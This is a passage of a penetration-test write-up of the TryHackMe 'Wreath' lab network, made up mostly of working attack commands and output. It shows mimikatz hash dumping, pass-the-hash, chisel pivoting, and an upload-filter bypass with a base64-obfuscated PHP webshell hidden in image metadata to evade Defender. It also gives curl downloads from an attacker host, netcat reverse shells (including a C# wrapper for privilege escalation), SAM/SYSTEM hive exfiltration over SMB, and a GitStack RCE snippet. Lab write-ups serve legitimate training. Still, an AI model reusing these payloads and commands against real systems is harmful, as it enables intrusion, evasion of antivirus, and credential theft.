## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
## v ##. Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/
```

Figure 25 mimikatz running on git-server

On mimikatz

With mimikatz loaded, we need to give ourselves the Debug privilege and elevate our privileges to the SYSTEM level with:

```
privilege::debug
token::elevate
```

```
mimikatz # [privilege::debug]
Privilege '20' OK

mimikatz # token::elevate
Token Id : 0
User name :
SID name : NT AUTHORITY\SYSTEM

672 {0;000003e7} 1 D 20358 NT AUTHORITY\SYSTEM S-1-5-18 (04g,21p) Primary
-> Impersonated !
* Process Token : {0;0005d171} 2 F 1399926 GIT-SERV\muiri S-1-5-21-3335744492-1614955177-2693036043-1005 (15g,24p) Primary
* Thread Token : {0;000003e7} 1 D 1487309 NT AUTHORITY\SYSTEM S-1-5-18 (04g,21p) Impersonation (Delegation)
```

Figure 26 mimikatz elevate privilege to SYSTEM level

We dump all of the SAM local password hashes using:

```
lsadump::sam
```

```
Domain : GIT-SERV
SysKey : 0841f6354f4b96d21b99345d07b66571
Local SID : S-1-5-21-3335744492-1614955177-2693036043

SAMKey : f4a3c96f8149df966517ec3554632cf4

RID : 000001f4 (500)
User : Administrator
Hash NTLM: 37db630168e5f82aafa8461e05c6bbd1
```

Figure 27 mimikatz Administrator' hash NTLM

```
User : Thomas
Hash NTLM: 02d90eda8f6b6b06c32d5f207831101f
```

Figure 27a mimikatz Thomas' hash NTLM

Cracking Thomas' hash

We use [Crackstation](#) to break Thomas' hash!

Hash	Type	Result
02d90eda8f6b6b06c32d5f207831101f	NTLM	Thomas

Color Codes: Exact match, Partial match, Not found.

Figure 27b mimikatz Thomas' hash cracked

Thomas' password is **i<3ruby**.

Evil-winrm built-in pass-the-hash

Pass-the-Hash (**PtH**) is a **lateral movement** attack where an attacker steals **NTLM hash credentials** of a user and uses them to authenticate on remote systems **without needing the actual password**.

Instead of cracking the hash, the attacker "passes" it to authenticate directly.

As we already have the Administrator's hash, we can use it to authenticate as him.

```
evil-winrm -u Administrator -H 37db630168e5f82aafa8461e05c6bbd1 -i  
10.200.84.150
```

The screenshot shows a terminal window titled "Evil-WinRM shell v3.7". It displays the following text:

```
Warning: Remote path completions is disabled due to ruby limitation: quoting_
detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackp
layers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents>
```

Figure 28 pass the hash with Evil-WinRM

Once authenticated, we execute commands as the compromised user.

Local repository git

Because developers often push their code to version control repositories, the repository for this webpage was searched on the Git-Stack server. The Git repository is located at `C:\Gitstack\Repositories\Website.git`.

This directory is downloaded with `evil-winrm`. The [Git Tools](#) Extractor has been used to recreate the source code.

From the path `C:\Gitstack\Repositories\Website.git` we download the local `.git` folder. In the folder, we found three commit as you can see in the picture below:

```

0-82dfc97bec0d7582d485d9031c09abcb5c6b18f2
tree 03f072e22c2f4b74480fcfb0e0b31c8e624901b6e
parent 70dde80cc19ec76704567996738894828f4ee895
author twright <me@thomaswright.thm> 1608592351 +0000
committer twright <me@thomaswright.thm> 1608592351 +0000

Initial Commit for the back-end

=====
1-70dde80cc19ec76704567996738894828f4ee895
tree df99c307e17dec7be4fe80fb0ca569a97dd984
author twright <me@thomaswright.thm> 1604849458 +0000
committer twright <me@thomaswright.thm> 1604849458 +0000

Static Website Commit

=====
2-345ac8b236064b431fa43f53d91c98c4834ef8f3
tree c4726fef596741220207e2b1e014024b93fc78
parent 82dfc97bec0d7582d485d9031c09abcb5c6b18f2
author twright <me@thomaswright.thm> 1609614315 +0000
committer twright <me@thomaswright.thm> 1609614315 +0000

Updated the filter

```

Figure 29 commit found on git-serv

Searching for the order of the commit we found that the commit that has no parent is (`70dde80cc19ec76704567996738894828f4ee895`), and check to see which of the other commits specifies it as a direct parent (`82dfc97bec0d7582d485d9031c09abcb5c6b18f2`).

We then repeat the process to find the full commit order:

1. `70dde80cc19ec76704567996738894828f4ee895`
2. `82dfc97bec0d7582d485d9031c09abcb5c6b18f2`
3. `345ac8b236064b431fa43f53d91c98c4834ef8f3`

Website Code Analysis

We analyzed the code and found some TODO comments and how the website manages the uploading of the file in the path `./resources/index.php`: Reading through the PHP code, it appears that there are two filters in place here, plus a simple check to see if the file already exists.

These filters are rolled together into one block of PHP code:

```

$size = getimagesize($_FILES["file"]["tmp_name"]);
if(!in_array(explode(".", $_FILES["file"]["name"])[1], $goodExts) ||
!$size){
    header("location: ./?msg=Fail");
    die();
}

```

Between lines 4 and 15:

```
$target = " uploads /". basename ( $_FILES [" file "][" name "]);  
...  
move_uploaded_file ( $_FILES [" file "][" tmp_name "] , $target ); '
```

We can see that the file will be moved into the `uploads/` directory of the web server with its original name.

wreath-pc (10.200.85.100)

Enumeration

We scan the network with the program *Invoke-Portscan.ps1*.

Local Scripts:

Uploading tools is all well and good, but if the tool happens to be a *PowerShell* script then there is another (even more convenient) method. If you check the help menu for *evil-winrm*, you will see an interesting `-s` option. This allows us to specify a local directory containing *PowerShell* scripts -- these scripts will be made accessible for us to import directly into memory using our *evil-winrm* session (meaning they don't need to touch the disk at all).

1. From the attacking machine, we sign in as the Administrator using the password hash.

```
evil-winrm -u Administrator -H 37db630168e5f82aafa8461e05c6bbd1 -i  
10.200.84.150 -s  
/usr/share/powershell-empire/empire/server/data/module_source/situational_awareness/network
```

2. We run *powershell-empire* script in an evil-winrm shell.

```
Invoke-Portscan.ps1
```

3. We scan the other Windows machine.

```
Invoke-Portscan -Hosts 10.200.84.100 -TopPorts 50
```

```
Hostname      : 10.200.84.100
alive        : True
openPorts    : {80, 3389}
closedPorts  : {}
filteredPorts: {445, 443, 139, 110 ... }
finishTime   : 1/23/2025 8:10:27 PM
```

Figure 30 Open ports on 10.200.84.100

Pivoting

We found two ports open in the previous task. RDP won't be of much use to us without credentials (or at least a hash, although Pass-the-Hash attacks are often restricted through RDP anyway); however, the webserver is worth looking into. Thomas told us that he worked on his website using a local environment on his own PC, so this bleeding-edge version may contain some vulnerabilities that we could use to exploit the target. Before we can do that, however, we must figure out how to access the development web server on Thomas' PC from our attacking machine.

Chisel

We use the *chisel* program for a pivoting technique. We redirect the connection from the port 80 of the *wreath-pc* through an open port in *git-serv*, then redirect to an arbitrary port of the attacking machine.

Note: We download the chisel programs from the following links:

https://github.com/jpillora/chisel/releases/download/v1.7.7/chisel_1.7.7_windows_amd64.gz
and

https://github.com/jpillora/chisel/releases/download/v1.7.7/chisel_1.7.7_linux_amd64.gz.

As we need *chisel* on the *wreath-pc* machine we have to upload *chisel* to the victim machine, then open a *chisel server* and then open a *client server* on the attacking machine.

1. We run *evil-winrm* on the attacking machine.

```
evil-winrm -u Administrator -H 37db630168e5f82aafa8461e05c6bbd1 -i  
10.200.84.150 -s /home/kali/Tryhackme/Wreath/Chisel_1.7.7
```

2. We open up a port for pivoting on the Evil-WinRM_shell.

```
netsh advfirewall firewall add rule name="Chisel-KAIROS" dir=in  
action=allow protocol=tcp localport=18456
```

3. We upload the *chisel.exe* file. (Evil-WinRM_shell)

```
upload chisel.exe
```

4. We set up a chisel server forward socks proxy on Evil-WinRM_shell.

```
./chisel.exe server -p 18456 --socks5
```

```
chisel.exe : 2025/02/21 10:42:52 server: Fingerprint EvXbaQQJ0/Y6AB00PxhY3F0tJW  
6Y+KaErtwXPq40J0A=  
+ CategoryInfo : NotSpecified: (2025/02/21 10:4... KaErtwXPq40J0A=:  
String) [], RemoteException  
+ FullyQualifiedErrorId : NativeCommandError  
2025/02/21 10:42:52 server: Listening on http://0.0.0.0:18456
```

Figure 31 Chisel server on Windows

5. We run a chisel client on the attacking machine.

```
chisel client 10.200.84.150:18456 9090:socks
```

```
2025/02/21 05:43:44 client: Connecting to ws://10.200.84.150:18456
2025/02/21 05:43:44 client: tun: proxy#127.0.0.1:9090⇒socks: Listening
2025/02/21 05:43:45 client: Connected (Latency 102.297295ms)
```

Figure 32 Connecting to the chisel server on 10.200.84.150 from the attacker machine

Foxyproxy

In order to connect our browser (Firefox) to the web server on wreath-*pc*, we set up Foxyproxy add-on.



Figure 33 Set up Foxyproxy on Firefox

Website of wreath-*pc*

Now we navigate to <http://10.200.84.100> through foxyproxy.




Figure 34 Web page on wreath-*pc*

The web page on the host 10.200.84.100 could be displayed in a webbrowser of the attacker. It was the same web page as on the public serving web site. But we have assumed that this webpage is a newer version because it is served on the developer's machine.

Exploit PoC

From the [Website Code Analysis](#) section we know there's a route to `resources/index.php`.

Navigate to <http://10.200.84.100/resources/index.php>.

We are met with a request for authentication:




Figure 35 credentials requesting from wreath-*pc* webpage

We can assume that the username here is probably either '**Thomas**' or '**twreath**' both of which we have already seen. We also already have one of Thomas' passwords, stolen from the [Git Server using Mimikatz](#).

We authenticate with Thomas' credentials.



Figure 36 10.200.84.100/resources/index.php

It's a page to allow Thomas to upload pictures.

Exploitation of file-upload image

Analyzing the code, we now know how the upload works.

```

if(isset($_POST["upload"]) && is_uploaded_file($_FILES["file"]["tmp_name"])){
    $target = "uploads/".$_FILES["file"]["name"];
    $goodExts = ["jpg", "jpeg", "png", "gif"];
    if(file_exists($target)){
        header("location: ./?msg=Exists");
        die();
    }
    $size = getimagesize($_FILES["file"]["tmp_name"]);
    if(!in_array(explode(".", $_FILES["file"]["name"])[1], $goodExts) || !$size){
        header("location: ./?msg=Fail");
        die();
    }
    move_uploaded_file($_FILES["file"]["tmp_name"], $target);
    header("location: ./?msg=Success");
    die();
} else if ($_SERVER["REQUEST_METHOD"] == "post"){
    header("location: ./?msg=Method");
}

```

Figure 37 10.200.84.100/resources/index.php code with upload filters

The upload filter had some vulnerabilities.

- The filter checks if the file is an image.
- The file name is splitted on the “.” sign.
- The second index of the resulting array is then checked against a white list.
- If all checks succeed, the file is uploaded to the “uploads” directory.

This filter could be easily bypassed by creating a file with the name “test-KAIROS.jpeg.php”.

Creating a payload

We generate a payload named test-KAIROS.jpeg.php to execute a command from the url of the site.

```

<?php
$cmd = $_GET["wreath"];
if(isset($cmd)){
    echo "<pre>" . shell_exec($cmd) . "</pre>";
}
die();
?>

```

Obfuscating the payload

Navigating to <https://www.gaijin.at/en/tools/php-obfuscator> we obfuscate the previous code.

Please paste the PHP source code you want to obfuscate:

```
<?php
$cmd = $_GET["wreath"];
if(isset($cmd)){
    echo "<pre>" . shell_exec($cmd) . "</pre>";
}
die();
```

Remove comments Remove whitespaces
 Obfuscate variable names Obfuscate function and class names
 Encode strings Use hexadecimal values for names

Renaming Method: Numbering

Prefix Length: 1

Prefix Delimiter: None

MD5 Length: 12

Obfuscate Source Code

Figure 38 obfuscating payload

The obfuscated code is:

```
<?php $p0=$_GET[base64_decode('d3JlYXRo')];if(isset($p0)){echo
base64_decode('PHByZT4=').shell_exec($p0).base64_decode('PC9wcmU+');}die();
?>
```

If you look closely you'll see that this is still very much the same payload as before; however, enough has changed that it _should_ fool Defender.

As this is getting passed into a bash command, we will need to escape the dollar signs to prevent them from being interpreted as bash variables. This means our final payload is as follows:

```
<?php \$p0=\$_GET[base64_decode('d3JlYXRo')];if(isset(\$p0)){echo
base64_decode('PHByZT4=').shell_exec(\$p0).base64_decode('PC9wcmU+');}die()
;?>
```

With an obfuscated payload, we can now finalise our exploit.

Once again, we make a copy of an innocent image (`shell-KAIROS.jpeg.php`), then use `exiftool` to embed the payload into the image:

```
exiftool -Comment="<?php
\$p0=\$_GET[base64_decode('d3JlYXRo')];if(isset(\$p0)){echo
base64_decode('PHByZT4=').shell_exec(\$p0).base64_decode('PC9wcmU+');}die()
;?>" shell-USERNAME.jpeg.php
```

Uploading the payload

We upload the payload and attempt to access it!

Getting a webshell

We now execute commands using the 'wreath' GET parameter, e.g:

<http://10.200.84.100/resources/uploads/shell-USERNAME.jpeg.php?wreath=whoami/all>

Figure 39 successful execute command on 10.200.84.100

Reverse Shell

To obtain a reverse shell, a *netcat* binary is needed.

We download `nc64.exe` from <https://github.com/int0x33/nc.exe/blob/master/nc64.exe>.

Then we upload the file to the wreath-`pc` with cURL.

- On the attacking machine
Open a python server.

```
sudo python3 -m http.server 80
```

- On the Webshell
The binary could be downloaded to the host `10.200.84.100` by calling the URL

<http://10.200.84.100/resources/uploads/shell-USERNAME.jpeg.php?wreath=curl>
http://ATTACKER_MACHINE_IP/nc.exe/nc64.exe -o c:\\windows\\tasks\\nc64.exe

We now have everything we need to get a reverse shell back from this target.

To get a reverse shell the following Powershell command is executed on the host `10.200.84.100`:

- Set up a netcat listener.

```
sudo nc -lvpn 443
```

- On the Webshell .

http://10.200.84.100/resources/uploads/shell-USERNAME.jpeg.php?wreath=powershell.exe c:\\windows\\task\\nc64.exe ATTACKER_IP 443 -e cmd.exe

```
listening on [any] 443 ...
connect to [10.50.73.2] from (UNKNOWN) [10.200.72.100] 50409
Microsoft Windows [Version 10.0.17763.1637]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\\xampp\\htdocs\\resources\\uploads>
```

Figure 40 attacker got a shell on 10.200.84.100




Figure 41 Reverse Shell from 10.200.84.100

Post-exploitation

We have a reverse shell on the third and final target.

We don't yet have full system access to the target though. As we saw when we first obtained the webshell, the web server was (un)fortunately not running with system permissions (contrary to the Xampp defaults), which leaves us with a low-privilege account. Looks like Thomas was sensible with his security on his own PC!

This does mean that we're going to need to enumerate the target for privesc vectors though -- and with Defender active, we'll have to do it quietly.

During local enumeration, an interesting non default service could be spotted.

```
Wmic service get name,displayname,pathname,startmode | findstr /v /i "C:\Windows"
```

DisplayName	StartMode	Name	PathName
Amazon SSM Agent	Auto	AmazonSSMAgent	"C:\Program Files\Amazon\SSM\amazon-ssm-agent.exe"
Apache2.4	Auto	Apache2.4	"C:\xampp\apache\bin\httpd.exe" -k runservice
AWS Lite Guest Agent	Auto	AWSLiteAgent	"C:\Program Files\Amazon\XenTools\LiteAgent.exe"
LSM	Unknown	LSM	
Mozilla Maintenance Service	Manual	MozillaMaintenance	"C:\Program Files (x86)\Mozilla Maintenance Service\maintenance
NetSetupSvc	Unknown	NetSetupSvc	
Windows Defender Advanced Threat Protection Service	Manual	Sense	"C:\Program Files\Windows Defender Advanced Threat Protection\M
sSense.exe"	Manual	SystemExplorerHelpService	C:\Program Files (x86)\System Explorer\System Explorer\service\
System Explorer Service	Auto	WdNisSvc	"C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2011.6
SystemExplorerService64.exe	Auto	WinDefend	"C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2011.6
Windows Defender Antivirus Network Inspection Service	Manual	WMPNetworkSvc	"C:\Program Files\Windows Media Player\wmpnetwk.exe"
-0\NisSrv.exe"	Manual		
Windows Defender Antivirus Service	Auto		
-0\MsMpEng.exe"	Auto		
Windows Media Player Network Sharing Service	Manual		

Figure 42 local enumeration of 10.200.84.100

The path for "System Explorer Service" was not quoted. Furthermore the user "Thomas" has write privileges in the directory "C:\Program Files (x86)\System Explorer" and the service was running as "LocalSystem".

The lack of quotation marks around this service path indicates that it might be vulnerable to an **Unquoted Service Path** attack. In short, if any of the directories in that path contain spaces (which several do) and are writeable (which we are about to check), then -- assuming the service is running as the `NT AUTHORITY\SYSTEM` account, we might be able to elevate privileges.

We check to see which account the service runs under:

```
sc qc SystemExplorerHelpService
```

```
sc qc SystemExplorerHelpService
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: SystemExplorerHelpService
    TYPE               : 20  WIN32_SHARE_PROCESS
    START_TYPE         : 2   AUTO_START
    ERROR_CONTROL     : 0   IGNORE
    BINARY_PATH_NAME  : C:\Program Files (x86)\System Explorer\System Explorer\service\SystemExplorerService64.exe
    LOAD_ORDER_GROUP  :
    TAG               : 0
    DISPLAY_NAME      : System Explorer Service
    DEPENDENCIES      :
    SERVICE_START_NAME: LocalSystem
```

Figure 43 service running as the local system account

We check the permissions on the directory. If we can write to it.

```
powershell "get-acl -Path 'C:\Program Files (x86)\System Explorer' | format-list"
```

```
Path  : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\System Explorer
Owner : BUILTIN\Administrators
Group : WREATH-PC\None
Access : BUILTIN\Users Allow FullControl
          NT SERVICE\TrustedInstaller Allow FullControl
          NT SERVICE\TrustedInstaller Allow 268435456
          NT AUTHORITY\SYSTEM Allow FullControl
          NT AUTHORITY\SYSTEM Allow 268435456
          BUILTIN\Administrators Allow FullControl
          BUILTIN\Administrators Allow 268435456
          BUILTIN\Users Allow ReadAndExecute, Synchronize
          BUILTIN\Users Allow -1610612736
          CREATOR OWNER Allow 268435456
          APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow ReadAndExecute, Synchronize
          APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow -1610612736
          APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow ReadAndExecute, Synchronize
          APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow -1610612736
```

Figure 44 find acl for permission in the system

We have full control over this directory! Thomas' security oversight will allow us to root this target.

We are allowed to write on it so this means that we can create our unquoted service path exploit, but we could also perform attacks such as DLL hijacking, or even outright replacing the service executable with a malicious binary.

Unquoted service path vulnerability

Unquoted service path vulnerabilities occur due to a very interesting aspect of how Windows looks for files. If a path in Windows contains spaces and is not surrounded by quotes (e.g. C:\Directory One\Directory Two\Executable.exe) then Windows will look for the executable in the following order:

1. `C:\Directory.exe`
2. `C:\Directory One\Directory.exe`
3. `C:\Directory One\Directory Two\Executable.exe`

Privilege escalation

To elevate the attacker's privileges, a malicious .NET executable has been created. This program starts *netcat* and connects to the attacker on port 443.

Wrapper.exe

The wrapper program is placed inside the "C:\Program Files (x86)\System Explorer" directory and is named "System.exe". The code of the program is attached to Appendix A.

1. We need to install Mono on the attacking machine. This can be done with:

```
sudo apt update  
sudo apt install mono-devel -y
```

2. We create [Wrapper.cs](#).

3. We compile our program using the Mono `mcs` compiler.

```
mcs Wrapper.cs
```

4. We transfer the `Wrapper.exe` file to the target. (10.200.84.100)

- a. Open a HTTP Server on the attacking machine .

```
sudo python3 -m http.server 80
```

- b. On the Webshell download the Wrapper.exe file.

```
curl http://<ATTACKING MACHINE IP>/Wrapper.exe -o  
%TEMP%\wrapper.exe
```

- c. Copy your wrapper from `C:\Windows\Temp\wrapper.exe` to `C:\Program Files (x86)\System Explorer\System.exe`.

```
copy %TEMP%\wrapper.exe "C:\Program Files (x86)\System  
Explorer\System.exe"
```

```
C:\Program Files (x86)\System Explorer>dir  
dir  
Volume in drive C has no label.  
Volume Serial Number is A041-2802  
  
Directory of C:\Program Files (x86)\System Explorer  
  
27/03/2021 22:12 <DIR> .  
27/03/2021 22:12 <DIR> ..  
21/12/2020 23:55 <DIR> System Explorer  
27/03/2021 22:01 3,584 System.exe  
1 File(s) 3,584 bytes  
3 Dir(s) 6,893,998,080 bytes free  
  
C:\Program Files (x86)\System Explorer>
```

Figure 45 wrapper.exe file copy to system.exe

Activate the exploit

Our exploit is in place.

We restart the service itself, stopping it earlier.

- Stopping the Service.

```
sc stop SystemExplorerHelpService
```

```
C:\>sc stop SystemExplorerHelpService
sc stop SystemExplorerHelpService

SERVICE_NAME: SystemExplorerHelpService
    TYPE               : 20  WIN32_SHARE_PROCESS
    STATE              : 3   STOP_PENDING
                           (STOPPABLE, NOT_PAUSABLE, ACCEPTS_SHUTDOWN)
    WIN32_EXIT_CODE    : 0   (0x0)
    SERVICE_EXIT_CODE : 0   (0x0)
    CHECKPOINT        : 0x0
    WAIT_HINT         : 0x1388
```

Figure 46 Stopping SystemExplorerHelpService

- Starting the Service.

- On the reverse shell we start the service:

```
sc start SystemExplorerHelpService
```

```
C:\Program Files (x86)\System Explorer>sc start SystemExplorerHelpService
sc start SystemExplorerHelpService
[SC] StartService FAILED 1053:

The service did not respond to the start or control request in a timely fashion.
```

Figure 47 starting SystemExplorerHelpService

- We set up a listener on the attacking machine.

```
sudo nc -lvpn 443
```

```
L$ sudo nc -lvpn 443
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.200.101.100.
Ncat: Connection from 10.200.101.100:50464.
Microsoft Windows [Version 10.0.17763.1637]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system

C:\Windows\system32>
```

Figure 48 Receiving the SYSTEM shell




Figure 49 Root on 10.200.84.100

Exfiltration

Getting the hashes on the Windows machine.

- Save the SAM file

To dump the hashes locally, we first need to save the SAM hive:

```
reg.exe save HKLM\SAM sam.bak
```

This saves the hive as a file called "sam.bak" in the current directory.

- Save the SYSTEM file

Dumping the SAM hive isn't quite enough though -- we also need the SYSTEM hive which contains the boot key for the machine:

```
reg.exe save HKLM\SYSTEM system.bak
```

With both Hives dumped, we can exfiltrate them back to our attacking machine to dump the hashes out of sight of Defender.

Dumping the hashes

1. Attacking Machine

Start up a temporary SMB server.

```
sudo python3 /usr/share/doc/python3-impacket/examples/smbserver.py
share . -smb2support -username user -password s3cureP@ssword
```

2. Reverse Shell

Dump the SAM hive.

```
reg.exe save HKLM\SAM sam.bak
```

3. Reverse Shell

Dump the SYSTEM hive.

```
reg.exe save HKLM\SYSTEM system.bak
```

4. Reverse Shell

Connect to the SMB server.

```
net use \\10.50.85.33\share /USER:user s3cureP@ssword
```

5. Reverse Shell

Data exfiltration.

```
move sam.bak \\10.50.85.33\share\sam.bak
```

```
move system.bak \\10.50.85.33\share\system.bak
```

6. Reverse Shell

Disconnect from the SMB server.

```
net use \\10.50.85.33\share /del
```

7. Attacking Machine

Dump the hashes.

```
secretsdump.py -sam sam.bak -system system.bak LOCAL
```



The screenshot shows the output of the Impacket secretsdump.py command. It displays the bootKey of the target system and a list of user accounts with their corresponding SAM and SYSTEM hash values. The account 'Administrator' is listed with a uid of 500. Other accounts like 'Guest', 'DefaultAccount', 'WDAGUtilityAccount', and 'Thomas' are also shown with their respective hash values.

```
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[*] Target system bootKey: 0xfcce6f31c003e4157e8cb1bc59f4720e6
[*] Dumping local SAM hashes (uid:rid:lhash:nhash)
Administrator:500...
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:06e57bdd6824566d79f127fa0de844e2:::
Thomas:1000:...
[*] Cleaning up...
```

Figure 45 Dumping hashes

CLEANUP

- All newly added firewall rules were deleted.
- Also, the Administrator account “Kairos” on the host 10.200.84.150 was deleted.
- All files were deleted except for the Netcat executable on the host 10.200.84.100.
- The listener is located at “C:\xampp\htdocs\resources\uploads\nc.exe”.
- Mr. Thomas Wreath is advised to delete this file.
- Log files were not modified.

CONCLUSION

The penetration test has shown that an external attacker can gain an initial foothold to the network by exploiting the public facing web server.

From there an attacker can compromise the entire network.

- All the critical vulnerabilities should be fixed first.
- Start by updating the vulnerable *Webmin Service* the host 10.200.84.200.
- It is recommended to use an *Intrusion Prevention System* or an *Intrusion Detection System*, so compromise can be detected more rapidly.
- To prevent outdated services running in the network, it is recommended to regularly run a vulnerability scan.
- Also, a penetration test is considered a snapshot in time. The findings and recommendations reflect the information gathered during the assessment and not any changes or modifications made outside of that period.

REFERENCES

Vulnerabilities

<https://nvd.nist.gov/vuln/detail/CVE-2019-15107>

[https://owasp.org/www-community/vulnerabilities/Unrestricted File Upload](https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload)

Technologies

https://en.wikipedia.org/wiki/NT_LAN_Manager

https://en.wikipedia.org/wiki/Windows_Remote_ManagementTools

<https://www.redhat.com/sysadmin/getting-started-socat>

<https://nmap.org>

<https://en.wikipedia.org/wiki/Netcat>

<https://github.com/gentilkiwi/mimikatz/wiki>

<https://github.com/Hackplayers/evil-winrm>

<https://github.com/samratashok/nishang/blob/master/Scan/Invoke-PortScan.ps1>

<https://github.com/ssshuttle/ssshuttlehttps://github.com/jpillora/chisel>

APPENDIX A

Modified Git Stack 2.3.10 RCE Exploit Code

Let's have a look through some of the key sections of the code.

This script is not designed to be fancy. It does what we need it to do, and nothing more. All configurations are done within the code by literally editing the script, so it's important that we understand the options available to us. These can be found in lines 23-31 (offset by minus one if you didn't add the shebang):

```
ip = '192.168.1.102'

# What command you want to execute
command = "whoami"

repository = 'rce'
username = 'rce'
password = 'rce'
csrf_token = 'token'
```

Realistically we are only interested in the first two variables here, as the other options should be fine at their default values. The two variables we care about are `ip` and `command`, allowing us to specify our target and the command to run, respectively.

Set the IP to the correct target for your choice of pivoting technique. If you used sshuttle or one of the proxying techniques then this will just be the IP of the target.

For the time being we will leave the command as it is. `whoami` is as good a command as any to confirm that the exploit works.

The bulk of the middle section of the code is taking advantage of the improper access controls which make this vulnerability possible. We will not cover this in detail in order to keep this task relatively short; however, reading through the exploit (and trying to understand it) would be highly advisable.

We are, however, interested in the last 6 lines of the exploit:

```
print "[+] Create backdoor in PHP"
r = requests.get("http://{}{}/web/index.php?p={}.git&a=summary".format(ip, repository), auth=HTTPBasicAuth(username, 'p 66 echo "<?php system($_POST['a']); ?>" > c:\{}\gitphp\exploit.php'))
print r.text.encode(sys.stdout.encoding, errors='replace')

print "[+] Execute command"
r = requests.post("http://{}{}/web/exploit.php".format(ip), data={'a' : command})
print r.text.encode(sys.stdout.encoding, errors='replace')
```

These create a PHP webshell (`<?php system(\$_POST['a']); ?>`) and echo it into a file called `exploit.php` under the webroot. This can then be accessed by posting a command to the newly created `/web/exploit.php` file.

Wrapper.cs

```
using System;
using System.Diagnostics;

namespace Wrapper{
    class Program{
        static void Main(){

            ProcessStartInfo procInfo = new
ProcessStartInfo("c:\\windows\\tasks\\nc-KAIROS.exe", "10.50.85.33
443 -e cmd.exe");
            Process proc = new Process { StartInfo = procInfo };
            proc.Start();

        }
    }
}
```